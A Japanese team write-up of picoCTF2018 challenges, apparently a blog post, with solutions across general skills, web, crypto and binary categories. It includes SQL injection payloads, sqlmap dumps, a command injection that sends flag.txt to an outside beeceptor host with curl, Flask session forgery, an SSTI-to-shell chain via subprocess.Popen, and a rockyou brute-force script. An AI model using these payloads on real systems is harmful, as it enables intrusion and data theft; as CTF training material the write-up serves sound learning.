LoginSignup
7
4

More than 5 years have passed since last update.

picoCTF2018 writeup

Last updated at Posted at 2018-10-14

picoCTF2018にprogfaynekomaruとチーム「NCC」で参加しました。15510pt獲得して320位でした。

nekomaruのWriteupはこちら↓
picoCTF2018 writeup - 甘味処。

progfayのWriteupはこちら↓
picoCTF2018に少しだけ参加した話 - progfay-pub

僕の解いた問題は

General Skills

Reversing

Web Exploitation

Cryptography

Binary Exploitation

Forensics

WriteUp

General Skills

【Points: 125】grep 2【General Skills】

再帰的にgrepする
$ grep -lr pico ./*

見つけたところに移動して再度grep
$ grep pico ./file20

picoCTF{grep_r_and_you_will_find_556620f7}

【Points: 150】ssh-keyz【General Skills】

SSHkeygenして公開鍵は~/.ssh/authorized_keysに突っ込み、秘密鍵はコピペしてlocalに保存する
mayoneko@2018shell2.picoctf.comにアクセスすると出てくる

picoCTF{who_n33ds_p4ssw0rds_38dj21}

【Points: 200】you can't see me【General Skills】

$ lsして表示されないファイルを見つけろ的問題
1回$ ls -laの内容をテキストに保存してから、どこかにアップロードして中身をエディタで見る

curlでコマンドラインから任意のファイルをアップロードできるサービス「transfer.sh」 | ライフハッカー[日本版]
↑ここを参考にした

これによると正しいファイル名は'. '

$ cat '.  '
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_f01e45c4}

picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_f01e45c4}

【Points: 275】in out error【General Skills】

$ ./in-out-error
これ実行するとめちゃくちゃなのが出る

$ ./in-out-error 2>/dev/null
これ実行すると歌詞っぽいのが出る

$ ./in-out-error 1>/dev/null
Please may I have the flag?
picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}picoCTF{p1p1ng

あとflagが無限に続く

picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}

【Points: 300】learn gdb【General Skills】

gdbの使い方を学ぼうのコーナーらしい
gbdで動かす

繰り返しの中にbreakpointを置いて、毎回レジスタの中身を確認する

繰り返し1回目

(gdb) i r
rax            0x45     69
rbx            0x0      0
rcx            0x7ffe98ddd261   140731463094881
rdx            0x0      0
rsi            0x45     69
rdi            0x7ffe98ddd262   140731463094882
rbp            0x7ffe98ddd270   0x7ffe98ddd270
rsp            0x7ffe98ddd240   0x7ffe98ddd240
r8             0x0      0
r9             0xfffffffffffffff        1152921504606846975
r10            0x0      0
r11            0x7f536d7d85e0   139996295955936
r12            0x400690 4195984
r13            0x7ffe98ddd370   140731463095152
r14            0x0      0
r15            0x0      0
rip            0x400860 0x400860 <decrypt_flag+218>
eflags         0x202    [ IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
k0             0x0      0
k1             0x0      0
k2             0x0      0
k3             0x0      0
k4             0x0      0
k5             0x0      0
k6             0x0      0
k7             0x0      0

繰り返し2回目

(gdb) i r
rax            0x3e     62
rbx            0x0      0
rcx            0x7ffe98ddd261   140731463094881
rdx            0x0      0
rsi            0x3e     62
rdi            0x7ffe98ddd262   140731463094882
rbp            0x7ffe98ddd270   0x7ffe98ddd270
rsp            0x7ffe98ddd240   0x7ffe98ddd240
r8             0x0      0
r9             0xfffffffffffffff        1152921504606846975
r10            0x0      0
r11            0x7f536d7d85e0   139996295955936
r12            0x400690 4195984
r13            0x7ffe98ddd370   140731463095152
r14            0x0      0
r15            0x0      0
rip            0x400860 0x400860 <decrypt_flag+218>
eflags         0x202    [ IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
k0             0x0      0
k1             0x0      0
k2             0x0      0
k3             0x0      0
k4             0x0      0
k5             0x0      0
k6             0x0      0
k7             0x0      0

3回目

(gdb) i r
rax            0x38     56
rbx            0x0      0
rcx            0x7ffe98ddd261   140731463094881
rdx            0x0      0
rsi            0x38     56
rdi            0x7ffe98ddd262   140731463094882
rbp            0x7ffe98ddd270   0x7ffe98ddd270
rsp            0x7ffe98ddd240   0x7ffe98ddd240
r8             0x0      0
r9             0xfffffffffffffff        1152921504606846975
r10            0x0      0
r11            0x7f536d7d85e0   139996295955936
r12            0x400690 4195984
r13            0x7ffe98ddd370   140731463095152
r14            0x0      0
r15            0x0      0
rip            0x400860 0x400860 <decrypt_flag+218>
eflags         0x202    [ IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
k0             0x0      0
k1             0x0      0
k2             0x0      0
k3             0x0      0
k4             0x0      0
k5             0x0      0
k6             0x0      0
k7             0x0      0

変化しているのはraxとrsiだけらしい
以下上記も含めたraxの挙動
それを見た僕のこうだったらいいのになというお気持ちも併記する

rax            0x45     69   p
rax            0x3e     62   i
rax            0x38     56   c
rax            0x44     68   o
rax            0x18     24   C
rax            0x29     41   T
rax            0x1b     27   F
rax            0x50     80   {
rax            0x3c     60   g
rax            0x19     25   D
rax            0x37     55   b
rax            0x34     52   _
rax            0x3e     62   i
rax            0x28     40   S
rax            0x34     52   _
rax            0x48     72   s
rax            0x2a     42   U
rax            0x45     69   p
rax            0x8      8    3
rax            0x47     71   r
rax            0x34     52   _
rax            0x4a     74   u
rax            0xa      10   5
rax            0x8      8    3
rax            0x3b     59   f
rax            0x4a     74   u
rax            0x21     33   L
rax            0x34     52   _
rax            0xb      11   6
rax            0xb      11   6
rax            0x39     57   d
rax            0xa      10   5
rax            0x9      9    4
rax            0xb      11   6
rax            0x9      9    4
rax            0x39     57   d
rax            0x52     82   }

アルファベットでpの一文字前はoなので、それを基にお気持ちを配置した
picoCTF{gDb_iS_sUp3r_u53fuL_66d5464d}
お気持ちの勝利である

【Points: 400】store【General Skills】

最初1100円持ってて、オークションに参加できる
1000円で偽flagが買えて、100000円で真flagが買える

オーバーフローさせるために偽flagを2147490個買うと、

Your total cost is: -2147477296
Your new balance: 2147478396

こうなる
無事買える
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_03054e5d}

picoCTF{numb3r3_4r3nt_s4f3_03054e5d}

Reversing

【Points: 50】Reversing Warmup 1【Reversing】

stringsしたらでてきた

picoCTF{welc0m3_t0_r3VeRs1nG}

Web Exploitation

【Points: 200】Irish Name Repo【Web Exploitation】

/login.htmlにアクセス
いかにもSQLインジェクションできそう

パスワードにt' OR 't' = 'tを入れる
3f30df38357b94764e61962c9aef60d2[1].png

picoCTF{con4n_r3411y_1snt_1r1sh_f58843c5}

【Points: 200】Mr. Robots【Web Exploitation】

タイトルの通りにrobots.txtを見に行く
http://2018shell2.picoctf.com:15298/robots.txt

User-agent: *
Disallow: /c4075.html

/c4075.htmlというページ、気になる
http://2018shell2.picoctf.com:15298/c4075.html

So much depends upon a red flag
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_c4075}

picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_c4075}

【Points: 200】Secret Agent【Web Exploitation】

agentがgoogleじゃないって怒られる
けど、agentをgoogleにしても同様に怒られる

もしかしてagentいじればXSSできるのでは?とおもった
けど、エスケープされてる
XSSじゃなさそう

GooglebotのUserAgentもってきたら行けた

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

picoCTF{s3cr3t_ag3nt_m4n_12387c22}

【Points: 250】Buttons【Web Exploitation】

一つ目のボタンを押す
→二つ目のボタンが表示される
→二つ目のボタンを押してもだめって言われる

ソースを読むと

  • 一つ目のボタンにはPOSTでアクセスしている
  • 二つ目のボタンにはaタグが付いてるだけ

POSTしたいのでcurlでPOSTする

$ curl -XPOST http://2018shell2.picoctf.com:44730/button2.php
Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}

picoCTF{button_button_whose_got_the_button_dfe8b73c}

【Points: 250】The Vault【Web Exploitation】

SQLインジェクションかな
めんどくさいからSQLmapつかっちゃえ
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:64349/login.php" --data "username=hoge&password=fuga" --tables

Database: SQLite_masterdb
[1 table]
+-------+
| users |
+-------+

usersテーブルがあるらしい

$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:64349/login.php" --data "username=hoge&password=fuga" -T users --dump
相当時間かかるねこれ

Database: SQLite_masterdb
Table: users
[1 entry]
+-------+-------+----------+
| name  | admin | password |
+-------+-------+----------+
| admin | 1     | <blank>  |
+-------+-------+----------+

passwordが出てこない~~~~~

いろいろ試したあげく、正攻法で解くべきだと気づく

$ curl -XPOST "http://2018shell2.picoctf.com:64349/login.php" --data "username=admin&debug=1&password='union select 1--"

<pre>username: admin
password: 'union select 1--
SQL query: SELECT 1 FROM users WHERE name='admin' AND password=''union select 1--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}</p>

picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

【Points: 400】fancy-alive-monitoring【Web Exploitation】


<html>
<head>
    <title>Monitoring Tool</title>
    <script>
    function check(){
        ip = document.getElementById("ip").value;
        chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
        if (!chk) {
            alert("Wrong IP format.");
            return false;
        } else {
            document.getElementById("monitor").submit();
        }
    }
    </script>
</head>
<body>
    <h1>Monitoring Tool ver 0.1</h1>
    <form id="monitor" action="index.php" method="post" onsubmit="return false;">
    <p> Input IP address of the target host
    <input id="ip" name="ip" type="text">
    </p>
    <input type="button" value="Go!" onclick="check()">
    </form>
    <hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
    // super fancy regex check!
    if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
        exec('ping -c 1 '.$ip, $cmd_result);
        foreach($cmd_result as $str){
            if (strpos($str, '100% packet loss') !== false){
                printf("<h3>Target is NOT alive.</h3>");
                break;
            } else if (strpos($str, ', 0% packet loss') !== false){
                printf("<h3>Target is alive.</h3>");
                break;
            }
        }
    } else {
        echo "Wrong IP Format.";
    }
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

POSTされたデータがipアドレスかどうかチェックするための正規表現が適当に実装されている
その結果execコマンドにipアドレスだけじゃない文字列が入るようになってしまった

迷ったあげくbeeceptorを使う
curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;curl 'https://mayoneko.free.beeceptor.com';ping -c 1 127.0.0.1"
アクセスが来る

ここに何かしらをデータで渡してcurlすれば良さそう
curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;ls | xargs -n1 curl -H "Content-type:text/plain" -XPOST 'https://mayoneko.free.beeceptor.com' --data ;ping -c 1 127.0.0.1"

flagの存在を確認した

curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;cat flag.txt | xargs -n1 curl -H "Content-type:text/plain" -XPOST 'https://mayoneko.free.beeceptor.com' --data ;ping -c 1 127.0.0.1"

picoCTF{n3v3r_trust_a_b0x_36d4a875}

【Points: 600】Help Me Reset 2【Web Exploitation】

実はこの問題の前に『Help Me Reset』という問題があったのだが、不備で消されて新しくなった

なんかトップページの一番下にコメントアウトされてる人の名前がある
gautamさん?

このひとのパスワードをリセットしようとする
→ 存在するアカウントっぽいぞ
→ Resetしようとして適当な言葉を入れまくるとアカウントがロックされる
→ アカウントがロックされるとトップページのメンテナンスする人の名前も変化する

リセットする過程で本人確認のための質問が3種類しかないという法則を見つける

  • 車種
  • ヒーロー

適当に試しまくっているうちに、ヒーローの答えがspidermanであることが判明
しかも誰に変わってもspidermanで入れる

連続でヒーローに当たったためパスワードのリセットに成功
picoCTF{i_thought_i_could_remember_those_a131a54c}

【Points: 650】A Simple Question【Web Exploitation】

SQLインジェクションっぽかったので、answerにt' or 't' = 'tを入れる

なんかウザい

SQLmapを使う

$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:2644/answer2.php" --data "answer=answer" --tables

Database: SQLite_masterdb
[1 table]
+---------+
| answers |
+---------+

answersテーブルをdumpさせる
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:2644/answer2.php" --data "answer=answer" -T "answers" --dump

Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer         |
+----------------+
| 41AndSixSixths |
+----------------+

このanswerを入力する

picoCTF{qu3stions_ar3_h4rd_28fc1206}

【Points: 350】Flaskcards【Web Exploitation】

今回の最推し目玉商品ならぬ目玉問題なので、ここからのFlaskcardsシリーズ3問はしっかり書く

Flaskなどのテンプレートエンジンには、サーバーサイドテンプレートインジェクション(SSTI)という脆弱性が存在する
https://io.cyberdefense.jp/entry/2017/06/12/Server-Side_Template_Injection

問題
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look? http://2018shell2.picoctf.com:17991/index

代表的な確認方法として、カードを作れる所に{{7*7}}を入れる
今回は、表示されるところに49が出る(=計算されている)ので、インジェクションが可能であることがわかる

{{config.items()}}を入れる

picoCTF{secret_keys_to_the_kingdom_45e7608d}

【Points: 600】Flaskcards Skeleton Key【Web Exploitation】

問題
Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263

シークレットキーが分かってもすぐにデコードできるわけないので、実際にそのシークレットキーを使ってセッションを作ってみる

from flask import (Flask,session)
from flask_session import Session

app = Flask(__name__)
app.secret_key = "385c16dd09098b011d0086f9e218a0a2"

@app.route('/')
def hello_world():
    session["username"] = "fuga"
    session["admin"] = "1"
    session["login"] = "1"
    session["password"] = "hoge"
    print(session)
    return session["admin"]

これはふつうにログインしたときのセッション
.eJw9j8FuAzEIRP_F5xyMbcDOz6wMhiRqk0i72VPUf69XrcIBMSPxNPMOi6-2XcP5te52CstthHNwb9iwWiZBS8oKOYMNzAMqREagVGK1TqTQKJdSIQmU1Ki0SKI5IrAnHQ6SmVBc0bu5xFo42phOtDL5KCwkjJpkUO5zpTktnEIf99tjRoF567b68np-2WG0qq4FExfW5lUcu6Y2CUWPvJqRah7U59_38_Jh7Jutf-X4Xz363Y6u-6WHn18SokqS.DpIngA.03sR0cHu0M85uukJ_HdZL6BQ1_c

これは自分で作ったコードで作ったセッション
.eJyrVkpMyc3MU7JSMlTSUcrJT4ezCxKLi8vzi1KA3Iz89FSgSGlxalFeYm4qUCStND1RqRYAPacTIg.DpIvUw.O0NOfivgvpyUrYP54Aw0lkjRaTo

明らかに文字数が足りない

そこでこんなツールを見つける
noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

このツールを使ってセッションをデコードしたものがこちら
{'_fresh': True, '_id': 'ff95958e36b5e2c7c1331ed53d181075162408ea66c196344812b142964906bc30517f2cdf1b3765bfc5faefb08470ed65b0e48e35b7b6b75c2bd63abd622229', 'admin': '1', 'csrf_token': '98cfc452747c9f8bf5ac295c24ce36bc35683d6a', 'login': '1', 'user_id': '7', 'username': 'fuga'}

これのuser_id1にしてエンコードし直します

$ pipenv run python session_cookie_manager.py encode -t "{'_fresh': True, '_id': 'ff95958e36b5e2c7c1331ed53d181075162408ea66c196344812b142964906bc30517f2cdf1b3765bfc5faefb08470ed65b0e48e35b7b6b75c2bd63abd622229', 'admin': '1', 'csrf_token': '98cfc452747c9f8bf5ac295c24ce36bc35683d6a', 'login': '1', 'user_id': '1', 'username': 'admin'}" -s "385c16dd09098b011d0086f9e218a0a2"
.eJw9j01uQjEMhO-SNYs4_knCZZ5ix25RC0gPWKHevUGo9cLyjOTP42faYvfbZzre94cf0naa6ZgiOndujqLsxaoBIvhknNAgVwYplJsPEYMuSNSgKFDpQj2LGmaGGsVmgGIV1jCO4aG5Uc0-l5OdFp-1qmhlKzoFx2plVU-HNOb5dFlRYM1222O7X7_8ZfRmYcSlUrUeTYOHlb4IZK-8hiwNp4y19339-Gc8br6_n_tTl3H2Jd-Hfn4BXRBK8g.DpI0oA.PuU-KbqZ4QVomu1ULon9q4D6_Jg

これをセッションに入れて更新すると、Flagが出てくる

picoCTF{1_id_to_rule_them_all_d77c1ed6}

【Points: 900】Flaskcards and Freedom【Web Exploitation】

今回のpicoCTFで一番点数の高いWeb問(だと勝手に思っている)

問題
There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:52168

ヒント
There's more to the original vulnerability than meets the eye.
Can you leverage the injection technique to get remote code execution?

おそらくSSTIを使ってシェルにインジェクションする

試しに、歴代Flaskcardsシリーズの脆弱性は全部試してみるが、見事に全部脆弱なまま
つまり自由、フリーダム

ヒントのとおりOSコマンドを実行する方法を考える

以下の記事を参考にした

{{''.__class__}}を入力すると<class 'str'>が帰ってくる
これは''自体のクラスである<class 'str'>が出力されている

{{''.__class__.__mro__}}を入力すると(<class 'str'>, <class 'object'>)が帰ってくる
これは、<class 'str'>の先祖のクラスがすべて出力されている

{{''.__class__.__mro__[1].__subclasses__()}}を入力したのが以下(scrapboxにあげると重すぎたのでprogfayにgistにあげてもらった)

https://gist.githubusercontent.com/progfay/dd4ecc73d17eee08ccef79c52cb59667/raw/dc48d48601a20baeaa745358c280ab9aef36238e/Flaskcards%20and%20Freedom.txt

これは、<class 'object'>のsubclassでこのコード中で用いられているものがすべて出力されている
この長い長い出力の中から、インジェクションに使えそうな関数を探す

<class 'subprocess.Popen'>というのを使うことにした
上から数えて193個目に存在する

mayonekoはPythonが書けないので、感覚で頑張る

{{''.__class__.__mro__[1].__subclasses__()[193](['/bin/sh', '-c','ls'])}}

スラッシュはエスケープされちゃうみたい

subprocess.Popenドキュメントをみて頑張りますが、かなりの時間を消費していきます

ここで様々なコードを試している間に、何度もサーバーがリセットされ、Popenの位置は何度も入れ替わっている
わかりやすさを優先させるため、ここでは全部193で記述することにする

{{''.__class__.__mro__[1].__subclasses__()[193](["cat","flag.txt"],stdout=PIPE,universal_newlines=True).stdout}}
落ちる

なぜ落ちるのか

  • stdout=PIPEPIPEが定数だった
  • この定数がsubprocess.PIPEという形で設定されていたため、subprocessが呼び出せず落ちていた
  • 自分のシェルでimport subprocessしてからprint(subprocess.PIPE)することでsubprocess.PIPE==-1であることがわかる

これを元にさまざまなものを試し、やっと出力に至った入力が以下

{{''.__class__.__mro__[1].__subclasses__()[193](["ls","-la"],stdout=-1, stderr=-1).stdout.read()}}
出力は
b'total 72\ndrwxr-x--- 3 hacksports flaskcards-and-freedom_0 4096 Sep 28 07:47 .\ndrwxr-x--x 576 root root 53248 Sep 30 03:50 ..\ndrwxr-xr-x 3 root root 4096 Sep 28 07:47 app\n-rw-rw-r-- 1 hacksports hacksports 38 Sep 29 17:28 flag\n-rw-rw-r-- 1 hacksports hacksports 61 Sep 29 17:28 server.py\n-rwxr-sr-x 1 hacksports flaskcards-and-freedom_0 105 Sep 29 17:28 xinet_startup.sh\n'

flagなるファイルが存在することを確認
catする

{{''.__class__.__mro__[1].__subclasses__()[193](["cat","flag"],stdout=-1, stderr=-1).stdout.read()}}

picoCTF{R_C_E_wont_let_me_be_33c4aa61}

この問題は最高に楽しかった

Cryptography

【Points: 75】Crypto Warmup 1【Cryptography】

問題
Crpyto can often be done by hand, here's a message you got from a friend, llkjmlmpadkkc with the key of thisisalilkey. Can you use this table to solve it?.

tables.txt
    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

SECRETMESSAGEが答えみたい

picoCTF{SECRETMESSAGE}

【Points: 75】 Crypto Warmup 2【Cryptography】

問題
Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}

ROT13なのでhttps://www.rot13.com

picoCTF{this_is_crypto!}

【Points: 100】HEEEEEEERE'S Johnny!【Cryptography】

問題
Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell2.picoctf.com 5221. Files can be found here: passwd shadow.

ヒント
If at first you don't succeed, try, try again. And again. And again.
If you're not careful these kind of problems can really "rockyou".

rockyouとは
RockYouから盗まれた3200万のパスワードを分析: 最多はなんと"123456" | TechCrunch Japan
https://www.scrapmaker.com/data/wordlists/dictionaries/rockyou.txt

netcat.py - progfay-pubを使って、地道に試す


from netcat import Netcat

with open('./rockyou.txt') as f:
    while True:
        s_line = f.readline()
        try:
            nc = Netcat('2018shell2.picoctf.com', 5221)
            for i in range(3):
                lines = nc.read().decode('utf-8').split('\n')
                for line in lines:
                    print(line)
                mes = lines[-1]
                statement = mes.split(' ')
                if statement[0] == 'Username:':
                    nc.write('root')
                    print('root')
                elif statement[0] == 'Password:':
                    nc.write(s_line)
                    print(s_line)
                elif statement[0] == 'Failed Login!':
                    print('Failed Login!')
                else:
                    raise Exception
        except Exception:
            pass
        nc.close()
        if not s_line:
            break

パスワード : kissme
picoCTF{J0hn_1$_R1pp3d_289677b5}

【Points: 200】blaise's cipher【Cryptography】

nekomaru曰く「ヴィジュネル暗号」
4の倍数文字で元に戻っているらしい

Vigenère Cipher - Decoder, Encoder, Solver, Translator
このツールを使って解く

agfl ← これがキー
picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_1c7b92d3}

【Points: 150】hertz【Cryptography】

問題
Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell2.picoctf.com 48186.

ヒント
NOTE: Flag is not in the usual flag format

$ nc 2018shell2.picoctf.com 48186

-------------------------------------------------------------------------------
tqveydfm kpyp um zqcy bnde - mcxmfufcfuqv_tugkpym_dyp_mqnadxnp_asnagastoy
-------------------------------------------------------------------------------
uv d aunndep qb nd sdvtkd, fkp vdsp qb okutk u kdap vq jpmuyp fq tdnn fq
suvj, fkpyp nuapj vqf nqve muvtp qvp qb fkqmp epvfnpspv fkdf ippg d ndvtp
uv fkp ndvtp-ydti, dv qnj xctinpy, d npdv kdti, dvj d eypzkqcvj bqy
tqcymuve. dv qnnd qb ydfkpy sqyp xppb fkdv scffqv, d mdndj qv sqmf
vuekfm, mtydgm qv mdfcyjdzm, npvfunm qv byujdzm, dvj d guepqv qy mq phfyd
qv mcvjdzm, sdjp dodz oufk fkypp-wcdyfpym qb kum uvtqsp. fkp ypmf qb uf
opvf uv d jqcxnpf qb buvp tnqfk dvj apnapf xypptkpm dvj mkqpm fq sdftk
bqy kqnujdzm, okunp qv oppi-jdzm kp sdjp d xydap buecyp uv kum xpmf
kqspmgcv. kp kdj uv kum kqcmp d kqcmpippgpy gdmf bqyfz, d vuptp cvjpy
fopvfz, dvj d ndj bqy fkp bupnj dvj sdyipf-gndtp, okq cmpj fq mdjjnp fkp
kdti dm opnn dm kdvjnp fkp xunn-kqqi. fkp dep qb fkum epvfnpsdv qb qcym
odm xqyjpyuve qv bubfz; kp odm qb d kdyjz kdxuf, mgdyp, edcvf-bpdfcypj, d
apyz pdynz yumpy dvj d eypdf mgqyfmsdv. fkpz ounn kdap uf kum mcyvdsp odm
wcuhdjd qy wcpmdjd (bqy kpyp fkpyp um mqsp jubbpypvtp qb qguvuqv dsqve
fkp dcfkqym okq oyufp qv fkp mcxrptf), dnfkqcek byqs ypdmqvdxnp
tqvrptfcypm uf mppsm gnduv fkdf kp odm tdnnpj wcphdvd. fkum, kqopapy, um
qb xcf nuffnp usgqyfdvtp fq qcy fdnp; uf ounn xp pvqcek vqf fq mfydz d
kduy'm xypdjfk byqs fkp fycfk uv fkp fpnnuve qb uf.

zqc scmf ivqo, fkpv, fkdf fkp dxqap-vdspj epvfnpsdv okpvpapy kp odm df
npumcyp (okutk odm sqmfnz dnn fkp zpdy yqcvj) edap kusmpnb cg fq ypdjuve
xqqim qb tkuadnyz oufk mctk dyjqcy dvj daujufz fkdf kp dnsqmf pvfuypnz
vpenptfpj fkp gcymcuf qb kum bupnj-mgqyfm, dvj papv fkp sdvdepspvf qb kum
gyqgpyfz; dvj fq mctk d guftk juj kum pdepyvpmm dvj uvbdfcdfuqv eq fkdf
kp mqnj sdvz dv dtyp qb funndepndvj fq xcz xqqim qb tkuadnyz fq ypdj, dvj
xyqcekf kqsp dm sdvz qb fkps dm kp tqcnj epf. xcf qb dnn fkpyp opyp vqvp
kp nuipj mq opnn dm fkqmp qb fkp bdsqcm bpnutudvq jp munad'm tqsgqmufuqv,
bqy fkpuy nctujufz qb mfznp dvj tqsgnutdfpj tqvtpufm opyp dm gpdynm uv
kum muekf, gdyfutcndynz okpv uv kum ypdjuve kp tdsp cgqv tqcyfmkugm dvj
tdyfpnm, okpyp kp qbfpv bqcvj gdmmdepm nuip "fkp ypdmqv qb fkp cvypdmqv
oufk okutk sz ypdmqv um dbbnutfpj mq opdipvm sz ypdmqv fkdf oufk ypdmqv u
scyscy df zqcy xpdcfz;" qy deduv, "fkp kuek kpdapvm, fkdf qb zqcy
juauvufz juauvpnz bqyfubz zqc oufk fkp mfdym, ypvjpy zqc jpmpyauve qb fkp
jpmpyf zqcy eypdfvpmm jpmpyapm." qapy tqvtpufm qb fkum mqyf fkp gqqy
epvfnpsdv nqmf kum oufm, dvj cmpj fq nup dodip mfyuauve fq cvjpymfdvj
fkps dvj oqys fkp spdvuve qcf qb fkps; okdf dyumfqfnp kusmpnb tqcnj vqf
kdap sdjp qcf qy phfydtfpj kdj kp tqsp fq nubp deduv bqy fkdf mgptudn
gcygqmp. kp odm vqf df dnn pdmz dxqcf fkp oqcvjm okutk jqv xpnudvum edap
dvj fqqi, xptdcmp uf mppspj fq kus fkdf, eypdf dm opyp fkp mcyepqvm okq
kdj tcypj kus, kp scmf kdap kdj kum bdtp dvj xqjz tqapypj dnn qapy oufk
mpdsm dvj mtdym. kp tqsspvjpj, kqopapy, fkp dcfkqy'm odz qb pvjuve kum
xqqi oufk fkp gyqsump qb fkdf uvfpysuvdxnp djapvfcyp, dvj sdvz d fusp odm
kp fpsgfpj fq fdip cg kum gpv dvj buvumk uf gyqgpynz dm um fkpyp
gyqgqmpj, okutk vq jqcxf kp oqcnj kdap jqvp, dvj sdjp d mcttpmmbcn guptp
qb oqyi qb uf fqq, kdj vqf eypdfpy dvj sqyp dxmqyxuve fkqcekfm gypapvfpj
kus.

アクセスするごとに出てくる文字列が違う

CTF Crypto - A painter and a black cat
いつも参考にしているこのサイトを元に

quipqiup - cryptoquip and cryptogram solver

一文字のやつがaだという事はわかっている
そこから意味の通る単語を辞書に入れながら何度も繰り返すと出る
substitution_ciphers_are_solvable_vmlvpvmcwr

【Points: 200】hertz 2【Cryptography】

Let's decode this now!
Giv dfrcs lnjah mju xfkwt jpvn giv eyzo bjq. R cyh'g lvervpv girt rt tfci yh vyto wnjlevk rh Wrcj. Rg't yekjtg yt rm R tjepvb y wnjlevk yenvybo! Jsyo, mrhv. Ivnv't giv meyq: wrcjCGM{tfltgrgfgrjh_crwivnt_ynv_gjj_vyto_hwyvlnvieg}

hertzと同じサイトを使う
quipqiup - cryptoquip and cryptogram solver

picoCTF{substitution_ciphers_are_too_easy_npaebrehlt}

【Points: 150】caesar cipher 1【Cryptography】

暗号文
picoCTF{payzgmuujurjigkygxiovnkxlcgihubb}

シーザー暗号の解読サイトはたくさんあるのでわざわざ挙げません

答え
picoCTF{justagoodoldcaesarcipherfwacbovv}

【Points: 250】caesar cipher 2【Cryptography】

暗号文
e^Xd8I;pX6ZhVGT8^E]:gHT_jHITVG:cITh:XJg:r

ヒント
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion

アスキー文字のコードポイントでシーザー暗号をやっている
ヒントを見ながら解く

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

Binary Exploitation

僕はこのジャンル本当に初心者なんですけど、チーム内に解く人がいなかったので仕方なく僕が解いてます
でも勉強になる問題が多くて安心した

【Points: 150】buffer overflow 0【Binary Exploitation】

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
